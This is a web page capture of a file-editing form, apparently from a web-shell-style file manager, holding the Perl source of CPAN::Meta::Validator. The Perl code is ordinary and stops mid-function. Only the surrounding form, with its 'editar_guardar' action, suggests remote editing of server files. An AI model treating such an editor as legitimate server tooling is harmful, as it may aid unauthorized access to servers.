

<div style='background:#ffffff; color:#000; font-family:monospace; padding:0; max-width:900px; margin:20px auto; border:3px solid #000;'><div style='background:#000080; color:#fff; padding:6px 12px; font-weight:bold;'>✏ 编辑: Validator.pm</div><div style='padding:20px;'><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#fff; color:#000; border:2px solid #000; font-family:monospace; padding:10px;'>use 5.006;
use strict;
use warnings;
package CPAN::Meta::Validator;
# VERSION
$CPAN::Meta::Validator::VERSION = '2.143240';
#pod =head1 SYNOPSIS
#pod
#pod   my $struct = decode_json_file('META.json');
#pod
#pod   my $cmv = CPAN::Meta::Validator-&gt;new( $struct );
#pod
#pod   unless ( $cmv-&gt;is_valid ) {
#pod     my $msg = &quot;Invalid META structure.  Errors found:\n&quot;;
#pod     $msg .= join( &quot;\n&quot;, $cmv-&gt;errors );
#pod     die $msg;
#pod   }
#pod
#pod =head1 DESCRIPTION
#pod
#pod This module validates a CPAN Meta structure against the version of the
#pod the specification claimed in the C&lt;meta-spec&gt; field of the structure.
#pod
#pod =cut

#--------------------------------------------------------------------------#
# This code copied and adapted from Test::CPAN::Meta
# by Barbie, &lt;barbie@cpan.org&gt; for Miss Barbell Productions,
# L&lt;http://www.missbarbell.co.uk&gt;
#--------------------------------------------------------------------------#

#--------------------------------------------------------------------------#
# Specification Definitions
#--------------------------------------------------------------------------#

my %known_specs = (
    '1.4' =&gt; 'http://module-build.sourceforge.net/META-spec-v1.4.html',
    '1.3' =&gt; 'http://module-build.sourceforge.net/META-spec-v1.3.html',
    '1.2' =&gt; 'http://module-build.sourceforge.net/META-spec-v1.2.html',
    '1.1' =&gt; 'http://module-build.sourceforge.net/META-spec-v1.1.html',
    '1.0' =&gt; 'http://module-build.sourceforge.net/META-spec-v1.0.html'
);
my %known_urls = map {$known_specs{$_} =&gt; $_} keys %known_specs;

my $module_map1 = { 'map' =&gt; { ':key' =&gt; { name =&gt; \&amp;module, value =&gt; \&amp;exversion } } };

my $module_map2 = { 'map' =&gt; { ':key' =&gt; { name =&gt; \&amp;module, value =&gt; \&amp;version   } } };

my $no_index_2 = {
    'map'       =&gt; { file       =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     directory  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     'package'  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     namespace  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                    ':key'      =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
    }
};

my $no_index_1_3 = {
    'map'       =&gt; { file       =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     directory  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     'package'  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     namespace  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     ':key'     =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
    }
};

my $no_index_1_2 = {
    'map'       =&gt; { file       =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     dir        =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     'package'  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     namespace  =&gt; { list =&gt; { value =&gt; \&amp;string } },
                     ':key'     =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
    }
};

my $no_index_1_1 = {
    'map'       =&gt; { ':key'     =&gt; { name =&gt; \&amp;string, list =&gt; { value =&gt; \&amp;string } },
    }
};

my $prereq_map = {
  map =&gt; {
    ':key' =&gt; {
      name =&gt; \&amp;phase,
      'map' =&gt; {
        ':key'  =&gt; {
          name =&gt; \&amp;relation,
          %$module_map1,
        },
      },
    }
  },
};

my %definitions = (
  '2' =&gt; {
    # REQUIRED
    'abstract'            =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
    'author'              =&gt; { mandatory =&gt; 1, list =&gt; { value =&gt; \&amp;string } },
    'dynamic_config'      =&gt; { mandatory =&gt; 1, value =&gt; \&amp;boolean },
    'generated_by'        =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
    'license'             =&gt; { mandatory =&gt; 1, list =&gt; { value =&gt; \&amp;license } },
    'meta-spec' =&gt; {
      mandatory =&gt; 1,
      'map' =&gt; {
        version =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version},
        url     =&gt; { value =&gt; \&amp;url },
        ':key' =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
      }
    },
    'name'                =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
    'release_status'      =&gt; { mandatory =&gt; 1, value =&gt; \&amp;release_status },
    'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },

    # OPTIONAL
    'description' =&gt; { value =&gt; \&amp;string },
    'keywords'    =&gt; { list =&gt; { value =&gt; \&amp;string } },
    'no_index'    =&gt; $no_index_2,
    'optional_features'   =&gt; {
      'map'       =&gt; {
        ':key'  =&gt; {
          name =&gt; \&amp;string,
          'map'   =&gt; {
            description        =&gt; { value =&gt; \&amp;string },
            prereqs =&gt; $prereq_map,
            ':key' =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
          }
        }
      }
    },
    'prereqs' =&gt; $prereq_map,
    'provides'    =&gt; {
      'map'       =&gt; {
        ':key' =&gt; {
          name  =&gt; \&amp;module,
          'map' =&gt; {
            file    =&gt; { mandatory =&gt; 1, value =&gt; \&amp;file },
            version =&gt; { value =&gt; \&amp;version },
            ':key' =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
          }
        }
      }
    },
    'resources'   =&gt; {
      'map'       =&gt; {
        license    =&gt; { list =&gt; { value =&gt; \&amp;url } },
        homepage   =&gt; { value =&gt; \&amp;url },
        bugtracker =&gt; {
          'map' =&gt; {
            web =&gt; { value =&gt; \&amp;url },
            mailto =&gt; { value =&gt; \&amp;string},
            ':key' =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
          }
        },
        repository =&gt; {
          'map' =&gt; {
            web =&gt; { value =&gt; \&amp;url },
            url =&gt; { value =&gt; \&amp;url },
            type =&gt; { value =&gt; \&amp;string },
            ':key' =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
          }
        },
        ':key'     =&gt; { value =&gt; \&amp;string, name =&gt; \&amp;custom_2 },
      }
    },

    # CUSTOM -- additional user defined key/value pairs
    # note we can only validate the key name, as the structure is user defined
    ':key'        =&gt; { name =&gt; \&amp;custom_2, value =&gt; \&amp;anything },
  },

'1.4' =&gt; {
  'meta-spec'           =&gt; {
    mandatory =&gt; 1,
    'map' =&gt; {
      version =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version},
      url     =&gt; { mandatory =&gt; 1, value =&gt; \&amp;urlspec },
      ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
    },
  },

  'name'                =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },
  'abstract'            =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'author'              =&gt; { mandatory =&gt; 1, list  =&gt; { value =&gt; \&amp;string } },
  'license'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;license },
  'generated_by'        =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },

  'distribution_type'   =&gt; { value =&gt; \&amp;string  },
  'dynamic_config'      =&gt; { value =&gt; \&amp;boolean },

  'requires'            =&gt; $module_map1,
  'recommends'          =&gt; $module_map1,
  'build_requires'      =&gt; $module_map1,
  'configure_requires'  =&gt; $module_map1,
  'conflicts'           =&gt; $module_map2,

  'optional_features'   =&gt; {
    'map'       =&gt; {
        ':key'  =&gt; { name =&gt; \&amp;string,
            'map'   =&gt; { description        =&gt; { value =&gt; \&amp;string },
                         requires           =&gt; $module_map1,
                         recommends         =&gt; $module_map1,
                         build_requires     =&gt; $module_map1,
                         conflicts          =&gt; $module_map2,
                         ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
            }
        }
     }
  },

  'provides'    =&gt; {
    'map'       =&gt; {
      ':key' =&gt; { name  =&gt; \&amp;module,
        'map' =&gt; {
          file    =&gt; { mandatory =&gt; 1, value =&gt; \&amp;file },
          version =&gt; { value =&gt; \&amp;version },
          ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
        }
      }
    }
  },

  'no_index'    =&gt; $no_index_1_3,
  'private'     =&gt; $no_index_1_3,

  'keywords'    =&gt; { list =&gt; { value =&gt; \&amp;string } },

  'resources'   =&gt; {
    'map'       =&gt; { license    =&gt; { value =&gt; \&amp;url },
                     homepage   =&gt; { value =&gt; \&amp;url },
                     bugtracker =&gt; { value =&gt; \&amp;url },
                     repository =&gt; { value =&gt; \&amp;url },
                     ':key'     =&gt; { value =&gt; \&amp;string, name =&gt; \&amp;custom_1 },
    }
  },

  # additional user defined key/value pairs
  # note we can only validate the key name, as the structure is user defined
  ':key'        =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
},

'1.3' =&gt; {
  'meta-spec'           =&gt; {
    mandatory =&gt; 1,
    'map' =&gt; {
      version =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version},
      url     =&gt; { mandatory =&gt; 1, value =&gt; \&amp;urlspec },
      ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
    },
  },

  'name'                =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },
  'abstract'            =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'author'              =&gt; { mandatory =&gt; 1, list  =&gt; { value =&gt; \&amp;string } },
  'license'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;license },
  'generated_by'        =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },

  'distribution_type'   =&gt; { value =&gt; \&amp;string  },
  'dynamic_config'      =&gt; { value =&gt; \&amp;boolean },

  'requires'            =&gt; $module_map1,
  'recommends'          =&gt; $module_map1,
  'build_requires'      =&gt; $module_map1,
  'conflicts'           =&gt; $module_map2,

  'optional_features'   =&gt; {
    'map'       =&gt; {
        ':key'  =&gt; { name =&gt; \&amp;string,
            'map'   =&gt; { description        =&gt; { value =&gt; \&amp;string },
                         requires           =&gt; $module_map1,
                         recommends         =&gt; $module_map1,
                         build_requires     =&gt; $module_map1,
                         conflicts          =&gt; $module_map2,
                         ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
            }
        }
     }
  },

  'provides'    =&gt; {
    'map'       =&gt; {
      ':key' =&gt; { name  =&gt; \&amp;module,
        'map' =&gt; {
          file    =&gt; { mandatory =&gt; 1, value =&gt; \&amp;file },
          version =&gt; { value =&gt; \&amp;version },
          ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
        }
      }
    }
  },


  'no_index'    =&gt; $no_index_1_3,
  'private'     =&gt; $no_index_1_3,

  'keywords'    =&gt; { list =&gt; { value =&gt; \&amp;string } },

  'resources'   =&gt; {
    'map'       =&gt; { license    =&gt; { value =&gt; \&amp;url },
                     homepage   =&gt; { value =&gt; \&amp;url },
                     bugtracker =&gt; { value =&gt; \&amp;url },
                     repository =&gt; { value =&gt; \&amp;url },
                     ':key'     =&gt; { value =&gt; \&amp;string, name =&gt; \&amp;custom_1 },
    }
  },

  # additional user defined key/value pairs
  # note we can only validate the key name, as the structure is user defined
  ':key'        =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
},

# v1.2 is misleading, it seems to assume that a number of fields where created
# within v1.1, when they were created within v1.2. This may have been an
# original mistake, and that a v1.1 was retro fitted into the timeline, when
# v1.2 was originally slated as v1.1. But I could be wrong ;)
'1.2' =&gt; {
  'meta-spec'           =&gt; {
    mandatory =&gt; 1,
    'map' =&gt; {
      version =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version},
      url     =&gt; { mandatory =&gt; 1, value =&gt; \&amp;urlspec },
      ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
    },
  },


  'name'                =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },
  'license'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;license },
  'generated_by'        =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },
  'author'              =&gt; { mandatory =&gt; 1, list =&gt; { value =&gt; \&amp;string } },
  'abstract'            =&gt; { mandatory =&gt; 1, value =&gt; \&amp;string  },

  'distribution_type'   =&gt; { value =&gt; \&amp;string  },
  'dynamic_config'      =&gt; { value =&gt; \&amp;boolean },

  'keywords'            =&gt; { list =&gt; { value =&gt; \&amp;string } },

  'private'             =&gt; $no_index_1_2,
  '$no_index'           =&gt; $no_index_1_2,

  'requires'            =&gt; $module_map1,
  'recommends'          =&gt; $module_map1,
  'build_requires'      =&gt; $module_map1,
  'conflicts'           =&gt; $module_map2,

  'optional_features'   =&gt; {
    'map'       =&gt; {
        ':key'  =&gt; { name =&gt; \&amp;string,
            'map'   =&gt; { description        =&gt; { value =&gt; \&amp;string },
                         requires           =&gt; $module_map1,
                         recommends         =&gt; $module_map1,
                         build_requires     =&gt; $module_map1,
                         conflicts          =&gt; $module_map2,
                         ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
            }
        }
     }
  },

  'provides'    =&gt; {
    'map'       =&gt; {
      ':key' =&gt; { name  =&gt; \&amp;module,
        'map' =&gt; {
          file    =&gt; { mandatory =&gt; 1, value =&gt; \&amp;file },
          version =&gt; { value =&gt; \&amp;version },
          ':key'  =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
        }
      }
    }
  },

  'resources'   =&gt; {
    'map'       =&gt; { license    =&gt; { value =&gt; \&amp;url },
                     homepage   =&gt; { value =&gt; \&amp;url },
                     bugtracker =&gt; { value =&gt; \&amp;url },
                     repository =&gt; { value =&gt; \&amp;url },
                     ':key'     =&gt; { value =&gt; \&amp;string, name =&gt; \&amp;custom_1 },
    }
  },

  # additional user defined key/value pairs
  # note we can only validate the key name, as the structure is user defined
  ':key'        =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
},

# note that the 1.1 spec only specifies 'version' as mandatory
'1.1' =&gt; {
  'name'                =&gt; { value =&gt; \&amp;string  },
  'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },
  'license'             =&gt; { value =&gt; \&amp;license },
  'generated_by'        =&gt; { value =&gt; \&amp;string  },

  'license_uri'         =&gt; { value =&gt; \&amp;url },
  'distribution_type'   =&gt; { value =&gt; \&amp;string  },
  'dynamic_config'      =&gt; { value =&gt; \&amp;boolean },

  'private'             =&gt; $no_index_1_1,

  'requires'            =&gt; $module_map1,
  'recommends'          =&gt; $module_map1,
  'build_requires'      =&gt; $module_map1,
  'conflicts'           =&gt; $module_map2,

  # additional user defined key/value pairs
  # note we can only validate the key name, as the structure is user defined
  ':key'        =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
},

# note that the 1.0 spec doesn't specify optional or mandatory fields
# but we will treat version as mandatory since otherwise META 1.0 is
# completely arbitrary and pointless
'1.0' =&gt; {
  'name'                =&gt; { value =&gt; \&amp;string  },
  'version'             =&gt; { mandatory =&gt; 1, value =&gt; \&amp;version },
  'license'             =&gt; { value =&gt; \&amp;license },
  'generated_by'        =&gt; { value =&gt; \&amp;string  },

  'license_uri'         =&gt; { value =&gt; \&amp;url },
  'distribution_type'   =&gt; { value =&gt; \&amp;string  },
  'dynamic_config'      =&gt; { value =&gt; \&amp;boolean },

  'requires'            =&gt; $module_map1,
  'recommends'          =&gt; $module_map1,
  'build_requires'      =&gt; $module_map1,
  'conflicts'           =&gt; $module_map2,

  # additional user defined key/value pairs
  # note we can only validate the key name, as the structure is user defined
  ':key'        =&gt; { name =&gt; \&amp;string, value =&gt; \&amp;anything },
},
);

#--------------------------------------------------------------------------#
# Code
#--------------------------------------------------------------------------#

#pod =method new
#pod
#pod   my $cmv = CPAN::Meta::Validator-&gt;new( $struct )
#pod
#pod The constructor must be passed a metadata structure.
#pod
#pod =cut

sub new {
  my ($class,$data) = @_;

  # create an attributes hash
  my $self = {
    'data'    =&gt; $data,
    'spec'    =&gt; eval { $data-&gt;{'meta-spec'}{'version'} } || &quot;1.0&quot;,
    'errors'  =&gt; undef,
  };

  # create the object
  return bless $self, $class;
}

#pod =method is_valid
#pod
#pod   if ( $cmv-&gt;is_valid ) {
#pod     ...
#pod   }
#pod
#pod Returns a boolean value indicating whether the metadata provided
#pod is valid.
#pod
#pod =cut

sub is_valid {
    my $self = shift;
    my $data = $self-&gt;{data};
    my $spec_version = $self-&gt;{spec};
    $self-&gt;check_map($definitions{$spec_version},$data);
    return ! $self-&gt;errors;
}

#pod =method errors
#pod
#pod   warn( join &quot;\n&quot;, $cmv-&gt;errors );
#pod
#pod Returns a list of errors seen during validation.
#pod
#pod =cut

sub errors {
    my $self = shift;
    return ()   unless(defined $self-&gt;{errors});
    return @{$self-&gt;{errors}};
}

#pod =begin :internals
#pod
#pod =head2 Check Methods
#pod
#pod =over
#pod
#pod =item *
#pod
#pod check_map($spec,$data)
#pod
#pod Checks whether a map (or hash) part of the data structure conforms to the
#pod appropriate specification definition.
#pod
#pod =item *
#pod
#pod check_list($spec,$data)
#pod
#pod Checks whether a list (or array) part of the data structure conforms to
#pod the appropriate specification definition.
#pod
#pod =item *
#pod
#pod =back
#pod
#pod =cut

my $spec_error = &quot;Missing validation action in specification. &quot;
  . &quot;Must be one of 'map', 'list', or 'value'&quot;;

sub check_map {
    my ($self,$spec,$data) = @_;

    if(ref($spec) ne 'HASH') {
        $self-&gt;_error( &quot;Unknown META specification, cannot validate.&quot; );
        return;
    }

    if(ref($data) ne 'HASH') {
        $self-&gt;_error( &quot;Expected a map structure from string or file.&quot; );
        return;
    }

    for my $key (keys %$spec) {
        next    unless($spec-&gt;{$key}-&gt;{mandatory});
        next    if(defined $data-&gt;{$key});
        push @{$self-&gt;{stack}}, $key;
        $self-&gt;_error( &quot;Missing mandatory field, '$key'&quot; );
        pop @{$self-&gt;{stack}};
    }

    for my $key (keys %$data) {
        push @{$self-&gt;{stack}}, $key;
        if($spec-&gt;{$key}) {
            if($spec-&gt;{$key}{value}) {
                $spec-&gt;{$key}{value}-&gt;($self,$key,$data-&gt;{$key});
            } elsif($spec-&gt;{$key}{'map'}) {
                $self-&gt;check_map($spec-&gt;{$key}{'map'},$data-&gt;{$key});
            } elsif($spec-&gt;{$key}{'list'}) {
                $self-&gt;check_list($spec-&gt;{$key}{'list'},$data-&gt;{$key});
            } else {
                $self-&gt;_error( &quot;$spec_error for '$key'&quot; );
            }

        } elsif ($spec-&gt;{':key'}) {
            $spec-&gt;{':key'}{name}-&gt;($self,$key,$key);
            if($spec-&gt;{':key'}{value}) {
                $spec-&gt;{':key'}{value}-&gt;($self,$key,$data-&gt;{$key});
            } elsif($spec-&gt;{':key'}{'map'}) {
                $self-&gt;check_map($spec-&gt;{':key'}{'map'},$data-&gt;{$key});
            } elsif($spec-&gt;{':key'}{'list'}) {
                $self-&gt;check_list($spec-&gt;{':key'}{'list'},$data-&gt;{$key});
            } else {
                $self-&gt;_error( &quot;$spec_error for ':key'&quot; );
            }


        } else {
            $self-&gt;_error( &quot;Unknown key, '$key', found in map structure&quot; );
        }
        pop @{$self-&gt;{stack}};
    }
}

sub check_list {
    my ($self,$spec,$data) = @_;

    if(ref($data) ne 'ARRAY') {
        $self-&gt;_error( &quot;Expected a list structure&quot; );
        return;
    }

    if(defined $spec-&gt;{mandatory}) {
        if(!defined $data-&gt;[0]) {
            $self-&gt;_error( &quot;Missing entries from mandatory list&quot; );
        }
    }

    for my $value (@$data) {
        push @{$self-&gt;{stack}}, $value || &quot;&lt;undef&gt;&quot;;
        if(defined $spec-&gt;{value}) {
            $spec-&gt;{value}-&gt;($self,'list',$value);
        } elsif(defined $spec-&gt;{'map'}) {
            $self-&gt;check_map($spec-&gt;{'map'},$value);
        } elsif(defined $spec-&gt;{'list'}) {
            $self-&gt;check_list($spec-&gt;{'list'},$value);
        } elsif ($spec-&gt;{':key'}) {
            $self-&gt;check_map($spec,$value);
        } else {
          $self-&gt;_error( &quot;$spec_error associated with '$self-&gt;{stack}[-2]'&quot; );
        }
        pop @{$self-&gt;{stack}};
    }
}

#pod =head2 Validator Methods
#pod
#pod =over
#pod
#pod =item *
#pod
#pod header($self,$key,$value)
#pod
#pod Validates that the header is valid.
#pod
#pod Note: No longer used as we now read the data structure, not the file.
#pod
#pod =item *
#pod
#pod url($self,$key,$value)
#pod
#pod Validates that a given value is in an acceptable URL format
#pod
#pod =item *
#pod
#pod urlspec($self,$key,$value)
#pod
#pod Validates that the URL to a META specification is a known one.
#pod
#pod =item *
#pod
#pod string_or_undef($self,$key,$value)
#pod
#pod Validates that the value is either a string or an undef value. Bit of a
#pod catchall function for parts of the data structure that are completely user
#pod defined.
#pod
#pod =item *
#pod
#pod string($self,$key,$value)
#pod
#pod Validates that a string exists for the given key.
#pod
#pod =item *
#pod
#pod file($self,$key,$value)
#pod
#pod Validate that a file is passed for the given key. This may be made more
#pod thorough in the future. For now it acts like \&amp;string.
#pod
#pod =item *
#pod
#pod exversion($self,$key,$value)
#pod
#pod Validates a list of versions, e.g. '&lt;= 5, &gt;=2, ==3, !=4, &gt;1, &lt;6, 0'.
#pod
#pod =item *
#pod
#pod version($self,$key,$value)
#pod
#pod Validates a single version string. Versions of the type '5.8.8' and '0.00_00'
#pod are both valid. A leading 'v' like 'v1.2.3' is also valid.
#pod
#pod =item *
#pod
#pod boolean($self,$key,$value)
#pod
#pod Validates for a boolean value. Currently these values are '1', '0', 'true',
#pod 'false', however the latter 2 may be removed.
#pod
#pod =item *
#pod
#pod license($self,$key,$value)
#pod
#pod Validates that a value is given for the license. Returns 1 if an known license
#pod type, or 2 if a value is given but the license type is not a recommended one.
#pod
#pod =item *
#pod
#pod custom_1($self,$key,$value)
#pod
#pod Validates that the given key is in CamelCase, to indicate a user defined
#pod keyword and only has characters in the class [-_a-zA-Z].  In version 1.X
#pod of the spec, this was only explicitly stated for 'resources'.
#pod
#pod =item *
#pod
#pod custom_2($self,$key,$value)
#pod
#pod Validates that the given key begins with 'x_' or 'X_', to indicate a user
#pod defined keyword and only has characters in the class [-_a-zA-Z]
#pod
#pod =item *
#pod
#pod identifier($self,$key,$value)
#pod
#pod Validates that key is in an acceptable format for the META specification,
#pod for an identifier, i.e. any that matches the regular expression
#pod qr/[a-z][a-z_]/i.
#pod
#pod =item *
#pod
#pod module($self,$key,$value)
#pod
#pod Validates that a given key is in an acceptable module name format, e.g.
#pod 'Test::CPAN::Meta::Version'.
#pod
#pod =back
#pod
#pod =end :internals
#pod
#pod =cut

sub header {
    my ($self,$key,$value) = @_;
    if(defined $value) {
        return 1    if($value &amp;&amp; $value =~ /^--- #YAML:1.0/);
    }
    $self-&gt;_error( &quot;file does not have a valid YAML header.&quot; );
    return 0;
}

sub release_status {
  my ($self,$key,$value) = @_;
  if(defined $value) {
    my $version = $self-&gt;{data}{version} || '';
    if ( $version =~ /_/ ) {
      return 1 if ( $value =~ /\A(?:testing|unstable)\z/ );
      $self-&gt;_error( &quot;'$value' for '$key' is invalid for version '$version'&quot; );
    }
    else {
      return 1 if ( $value =~ /\A(?:stable|testing|unstable)\z/ );
      $self-&gt;_error( &quot;'$value' for '$key' is invalid&quot; );
    }
  }
  else {
    $self-&gt;_error( &quot;'$key' is not defined&quot; );
  }
  return 0;
}

# _uri_split taken from URI::Split by Gisle Aas, Copyright 2003
sub _uri_split {
     return $_[0] =~ m,(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?,;
}

sub url {
    my ($self,$key,$value) = @_;
    if(defined $value) {
      my ($scheme, $auth, $path, $query, $frag) = _uri_split($value);
      unless ( defined $scheme &amp;&amp; length $scheme ) {
        $self-&gt;_error( &quot;'$value' for '$key' does not have a URL scheme&quot; );
        return 0;
      }
      unless ( defined $auth &amp;&amp; length $auth ) {
        $self-&gt;_error( &quot;'$value' for '$key' does not have a URL authority&quot; );
        return 0;
      }
      return 1;
    }
    $value ||= '';
    $self-&gt;_error( &quot;'$value' for '$key' is not a valid URL.&quot; );
    return 0;
}

sub urlspec {
    my ($self,$key,$value) = @_;
    if(defined $value) {
        return 1    if($value &amp;&amp; $known_specs{$self-&gt;{spec}} eq $value);
        if($value &amp;&amp; $known_urls{$value}) {
            $self-&gt;_error( 'META specification URL does not match version' );
            return 0;
        }
    }
    $self-&gt;_error( 'Unknown META specification' );
    return 0;
}

sub anything { return 1 }

sub string {
    my ($self,$key,$value) = @_;
    if(defined $value) {
        return 1    if($value || $value =~ /^0$/);
    }
    $self-&gt;_error( &quot;value is an undefined string&quot; );
    return 0;
}

sub string_or_undef {
    my ($self,$key,$value) = @_;
    return 1    unless(defined $value);
    return 1    if($value || $value =~ /^0$/);
    $self-&gt;_error( &quot;No string defined for '$key'&quot; );
    return 0;
}

sub file {
    my ($self,$key,$value) = @_;
    return 1    if(defined $value);
    $self-&gt;_error( &quot;No file defined for '$key'&quot; );
    return 0;
}

sub exversion {
    my ($self,$key,$value) = @_;
    if(defined $value &amp;&amp; ($value || $value =~ /0/)) {
        my $pass = 1;
        for(split(&quot;,&quot;,$value)) { $self-&gt;version($key,$_) or ($pass = 0); }
        return $pass;
    }
    $value = '&lt;undef&gt;'  unless(defined $value);
    $self-&gt;_error( &quot;'$value' for '$key' is not a valid version.&quot; );
    return 0;
}

sub version {
    my ($self,$key,$value) = @_;
    if(defined $value) {
        return 0    unless($value || $value =~ /0/);
        return 1    if($value =~ /^\s*((&lt;|&lt;=|&gt;=|&gt;|!=|==)\s*)?v?\d+((\.\d+((_|\.)\d+)?)?)/);
    } else {
        $value = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;'$value' for '$key' is not a valid version.&quot; );
    return 0;
}

sub boolean {
    my ($self,$key,$value) = @_;
    if(defined $value) {
        return 1    if($value =~ /^(0|1|true|false)$/);
    } else {
        $value = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;'$value' for '$key' is not a boolean value.&quot; );
    return 0;
}

my %v1_licenses = (
    'perl'         =&gt; 'http://dev.perl.org/licenses/',
    'gpl'          =&gt; 'http://www.opensource.org/licenses/gpl-license.php',
    'apache'       =&gt; 'http://apache.org/licenses/LICENSE-2.0',
    'artistic'     =&gt; 'http://opensource.org/licenses/artistic-license.php',
    'artistic_2'   =&gt; 'http://opensource.org/licenses/artistic-license-2.0.php',
    'lgpl'         =&gt; 'http://www.opensource.org/licenses/lgpl-license.php',
    'bsd'          =&gt; 'http://www.opensource.org/licenses/bsd-license.php',
    'gpl'          =&gt; 'http://www.opensource.org/licenses/gpl-license.php',
    'mit'          =&gt; 'http://opensource.org/licenses/mit-license.php',
    'mozilla'      =&gt; 'http://opensource.org/licenses/mozilla1.1.php',
    'open_source'  =&gt; undef,
    'unrestricted' =&gt; undef,
    'restrictive'  =&gt; undef,
    'unknown'      =&gt; undef,
);

my %v2_licenses = map { $_ =&gt; 1 } qw(
  agpl_3
  apache_1_1
  apache_2_0
  artistic_1
  artistic_2
  bsd
  freebsd
  gfdl_1_2
  gfdl_1_3
  gpl_1
  gpl_2
  gpl_3
  lgpl_2_1
  lgpl_3_0
  mit
  mozilla_1_0
  mozilla_1_1
  openssl
  perl_5
  qpl_1_0
  ssleay
  sun
  zlib
  open_source
  restricted
  unrestricted
  unknown
);

sub license {
    my ($self,$key,$value) = @_;
    my $licenses = $self-&gt;{spec} &lt; 2 ? \%v1_licenses : \%v2_licenses;
    if(defined $value) {
        return 1    if($value &amp;&amp; exists $licenses-&gt;{$value});
    } else {
        $value = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;License '$value' is invalid&quot; );
    return 0;
}

sub custom_1 {
    my ($self,$key) = @_;
    if(defined $key) {
        # a valid user defined key should be alphabetic
        # and contain at least one capital case letter.
        return 1    if($key &amp;&amp; $key =~ /^[_a-z]+$/i &amp;&amp; $key =~ /[A-Z]/);
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Custom resource '$key' must be in CamelCase.&quot; );
    return 0;
}

sub custom_2 {
    my ($self,$key) = @_;
    if(defined $key) {
        return 1    if($key &amp;&amp; $key =~ /^x_/i);  # user defined
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Custom key '$key' must begin with 'x_' or 'X_'.&quot; );
    return 0;
}

sub identifier {
    my ($self,$key) = @_;
    if(defined $key) {
        return 1    if($key &amp;&amp; $key =~ /^([a-z][_a-z]+)$/i);    # spec 2.0 defined
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Key '$key' is not a legal identifier.&quot; );
    return 0;
}

sub module {
    my ($self,$key) = @_;
    if(defined $key) {
        return 1    if($key &amp;&amp; $key =~ /^[A-Za-z0-9_]+(::[A-Za-z0-9_]+)*$/);
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Key '$key' is not a legal module name.&quot; );
    return 0;
}

my @valid_phases = qw/ configure build test runtime develop /;
sub phase {
    my ($self,$key) = @_;
    if(defined $key) {
        return 1 if( length $key &amp;&amp; grep { $key eq $_ } @valid_phases );
        return 1 if $key =~ /x_/i;
    } else {
        $key = '&lt;undef&gt;';
    }
    $self-&gt;_error( &quot;Key '$key' is not a legal phase.&quot; );
    return 0;
}

my @valid_relations = qw/ requires recommends suggests conflicts /;
sub relation {
    my ($self,$key) = @_;
    if(defined $key) {
        return 1 if( length $key &amp;&amp; grep { $key eq $_ } @valid_relations );
